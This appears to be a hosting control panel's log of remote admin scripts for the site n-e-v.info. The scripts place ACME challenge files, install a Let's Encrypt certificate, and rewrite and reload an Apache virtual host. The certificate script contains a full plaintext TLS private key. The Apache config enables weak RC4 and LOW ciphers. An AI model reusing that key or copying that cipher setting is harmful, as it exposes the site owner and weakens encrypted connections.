MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-17 21:41:20: Establishing a connection
2026-05-17 21:41:21: Establishing a connection
2026-05-17 21:41:22: 

PUT: /tmp/pkp203253

#!/bin/bash
if [ -d "/var/www/n-e-v_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-17 21:41:23: 

chmod 755 /tmp/pkp203253; /tmp/pkp203253; rm /tmp/pkp203253

2026-05-17 21:41:23: 


1


2026-05-17 21:41:25: Establishing a connection
2026-05-17 21:41:26: 

PUT: /tmp/pkp553998

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
cat > Qa5rNA6SgUiYSyGvG53Jx6pei_RAw7SYvx_Ylc9yIu0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Qa5rNA6SgUiYSyGvG53Jx6pei_RAw7SYvx_Ylc9yIu0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Qa5rNA6SgUiYSyGvG53Jx6pei_RAw7SYvx_Ylc9yIu0
cat > Mvbs3a-NnIui8I02IEBf24JrR6ujcZMvVrJ4E-NAhCU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Mvbs3a-NnIui8I02IEBf24JrR6ujcZMvVrJ4E-NAhCU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Mvbs3a-NnIui8I02IEBf24JrR6ujcZMvVrJ4E-NAhCU


2026-05-17 21:41:27: 

chmod 755 /tmp/pkp553998; /tmp/pkp553998; rm /tmp/pkp553998

2026-05-17 21:41:27: 




2026-05-17 21:41:36: Establishing a connection
2026-05-17 21:41:37: 

PUT: /tmp/pkp785216

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
rm Qa5rNA6SgUiYSyGvG53Jx6pei_RAw7SYvx_Ylc9yIu0
rm Mvbs3a-NnIui8I02IEBf24JrR6ujcZMvVrJ4E-NAhCU


2026-05-17 21:41:38: 

chmod 755 /tmp/pkp785216; /tmp/pkp785216; rm /tmp/pkp785216

2026-05-17 21:41:38: 




2026-05-17 21:41:38: Establishing a connection
2026-05-17 21:41:40: 

PUT: /tmp/pkp688166

#!/bin/bash
temp_file=$(mktemp)
TARGET=27a452e75854403499effc104b58be29.crt

cat > $temp_file <<'endmsg'
88:08:1a:b8:ee:ea:1a:c7:c0:5c:02:44:bf:8c:b5:74

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBnVJm1Yvb5kNEY18tJGSAuqVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE3MjA0MzA1WhcNMjYwODE1MjA0MzA0WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7HN6
CjEzKTaOqCnkEg+ZE9tq+fxqIJZJiL8PAMMXg+ZwmjmYaqh8oGcELw2ftruu4Oar
nlB0VMxziRErgG5uYElydL0hS8M4SL8LRaRuamEhI2NmdwmGYx+GaWV2kpaYposK
MmqXlyQSuB15+S8YiRoDJrFCH7mUJ5oM5LYt21i+uyRv6jbzWSdRDxQldWR/lE+A
lArLVvTf7jE5v8fF3zKMGBNrebmS3VEleJxe0LgiNEwsfwWXr0UBua4Rhq/6ZcHC
Zv2/hWJ3NsOrsRoK8cs+0RtmJ4xQrz8jaf1LNkTZjypi1RprIksJnN2l4JW9yw7G
9TOh/9kGPR/CBd2U5wIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLIk7rV42wjg
uFnX1vRKUGDHDpHDMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKbi1lLXYuaW5mb4IOd3d3Lm4tZS12LmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxl
bmNyLm9yZy8yMi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgCUTkOH+uzB
74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ434ys/AAAEAwBHMEUCIAa/cJ34
r/qZVRTu3b4HYxtPv7gfQeF0OUi0tWklklqTAiEAwEZTMptzQTDoXiJVNFQAbsKn
VwCet4MMy/dnLXt8LrAAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl
7wAAAZ434y1UAAgAAAUAE93j8QQDAEgwRgIhALxfzmvuMLVJOcuEq7oCxCo/AVxI
+IF1uMoBwHXc3h9YAiEAjAPdqXdyvPI5Sv6fOz182jVhdszDpTyyMFcNUlfpJrgw
DQYJKoZIhvcNAQELBQADggEBADR4mlLYFJEwodig1JbeuISmEYbhk+Yj+Km+kRUL
AvlvwxXBJ2qqXlAiafMWWZ7e0I7voL07mcOOy99l4cIGIsALoCcdW5ldUe+SiWtF
fVfLFISA/iQ6Atgltp2H9dga8HIEO6NxkkZlU9uWFTAe49wgU2S7unFe7Sg7uw9E
4N3HQ1+awh/sC5/EU69+jV4bEhPBOhk9bBFkp9JgdLwBu1u37a5hNHvDNJwlYNYN
UKPXXTddPYHIj9oKH+IQaunx3Tvv8Uw8P4RQDkcwMaNGxJREyi7Qixox7M+QYbPJ
8aI8zCl8BKRRFLjeK6YFhLjTj/f80A7zsyWkS/DqNBSCpCA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDsc3oKMTMpNo6o
KeQSD5kT22r5/GoglkmIvw8AwxeD5nCaOZhqqHygZwQvDZ+2u67g5queUHRUzHOJ
ESuAbm5gSXJ0vSFLwzhIvwtFpG5qYSEjY2Z3CYZjH4ZpZXaSlpimiwoyapeXJBK4
HXn5LxiJGgMmsUIfuZQnmgzkti3bWL67JG/qNvNZJ1EPFCV1ZH+UT4CUCstW9N/u
MTm/x8XfMowYE2t5uZLdUSV4nF7QuCI0TCx/BZevRQG5rhGGr/plwcJm/b+FYnc2
w6uxGgrxyz7RG2YnjFCvPyNp/Us2RNmPKmLVGmsiSwmc3aXglb3LDsb1M6H/2QY9
H8IF3ZTnAgMBAAECggEAP2isVqVhCfFWimRJhEpoi7mw039MWpbS+3f5JwQqfzXC
BqnhZODwIvfdWFz38sIcILXbWiZLPB5j8WMIXnW+5dVsez/o+O9OXbvV4wQ4lBCe
GWZjqRKF1nkyy3rpNGBsaWUqA+Ev69lBp9xHxHpLwyCVrb+lcuqKf6BBSuhMHeEH
oUmlGj0jvZ5h0B3qBAMyKHnGFdgju2A5AmGiZspx6HuEujQuQLHI/dv95c6R5d4X
D8qNcgvb8KiXlqjF+992hX6VpKO1dn8TEAOc1kCXpjZ2WYXOa8d5bQoG95fby4V6
+auoYIcqTNLJoJwQXkmog1rTCCo9qmgYsQKLZGK6WQKBgQD/L2rtRzeiwJyvw6kT
qVFF1Rj3M8rPCpNb/oA4FvAkXi92z1DhClNrhV71PZ0/+5Za2PZbo2vMf4hwI1a7
Ix+iMDUADMGLjZzeoyttvFRQr+KCPqy6wrsdFkb5wTGrsnNCw7EzuWblmgUGC70V
fYHfbF4cLyWh5LrHHUBmNNi/BQKBgQDtNL8Gcov6+sYY60kg44YE1Tk1aF/kPf1/
pSHtKKXc3K9lx+FIgraT9DKEGvG5UJDNjJMMaPmuzdgnQ+uvLLr5U3AifFvH6cfR
BOFdwYl4By1DGuow9PNio4I4ds6TCm9cvxywNIsPMnaKsPVvGSdvEd0D7uTpasE2
EBRQt9UP+wKBgQCZkOCJIDWD9OOWBmomUdt96cqXYQyoYdXiI5rnpi4nxKJNnl8u
vjcLWnyVmtmZ2n5V94DyDrtdmlXyHeIgxfdQdDBA8mw63iLL/GezJwWadO4bsTnj
PjK6Q2C9Bh0tFTu1ruxhky4v9+sUA1Zrq1bPrHhJ/7lm3q3kC19o4l6ZPQKBgDsp
vsOC6nsM9T/d331+gjzOWdiCUfiBpaqiq1WVn9j4ih7evcfyIkvAyqC8f7Hy8Er0
VvDvdectnE4e2Lf2diQdtYhEcDfqjVYK25Mg5IK1d4qXOfZAAjyF/8LJjziJj8EY
QbWJRW3i7kIlZPHy2i0PzYpfmWTGpa4wUIDZeSDlAoGBAKSx1wpbvju8vfdRJMnS
zGw1viaNRXoskbafyPd71JlOvAQS5tLAapXm0z43pGhoYVJJyub1pW0sLJi6OEVK
SAR8b9NVGoljm/ivYwzbBT95DEDQYmnI4I6JZj7cZoqTdVZZhcVz2oa7bC0KyBAW
w88aCj+n6pf2kpEUY3cMD+0M
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-17 21:41:41: 

chmod 755 /tmp/pkp688166; /tmp/pkp688166; rm /tmp/pkp688166

2026-05-17 21:41:41: 


dir=/etc/ssl/certs


2026-05-17 21:41:41: 

PUT: /tmp/pkp485250

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/n-e-v_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-17 21:41:41: 

chmod 755 /tmp/pkp485250; /tmp/pkp485250; rm /tmp/pkp485250

2026-05-17 21:41:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf 38

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-05-17 21:41:42: 

PUT: /tmp/pkp133934

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=n-e-v_www_info.conf
TARGET=/etc/apache2/sites-enabled/n-e-v_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/n-e-v_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf= 1'
fi


2026-05-17 21:41:42: 

chmod 755 /tmp/pkp133934; /tmp/pkp133934; rm /tmp/pkp133934

2026-05-17 21:41:42: 




2026-05-17 21:41:42: 

PUT: /tmp/pkp173654

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-17 21:41:43: 

chmod 755 /tmp/pkp173654; /tmp/pkp173654; rm /tmp/pkp173654

2026-05-17 21:41:43: 


.


2026-05-17 21:41:43: Establishing a connection
2026-05-17 21:41:45: 

PUT: /tmp/pkp158755

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-17 21:41:46: 

chmod 755 /tmp/pkp158755; /tmp/pkp158755; rm /tmp/pkp158755

2026-05-17 21:41:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-17 21:41:46: 

PUT: /tmp/pkp423637

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/n-e-v_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-17 21:41:46: 

chmod 755 /tmp/pkp423637; /tmp/pkp423637; rm /tmp/pkp423637

2026-05-17 21:41:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf	1324

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-05-17 21:41:47: 

PUT: /tmp/pkp438591

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/27a452e75854403499effc104b58be29.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


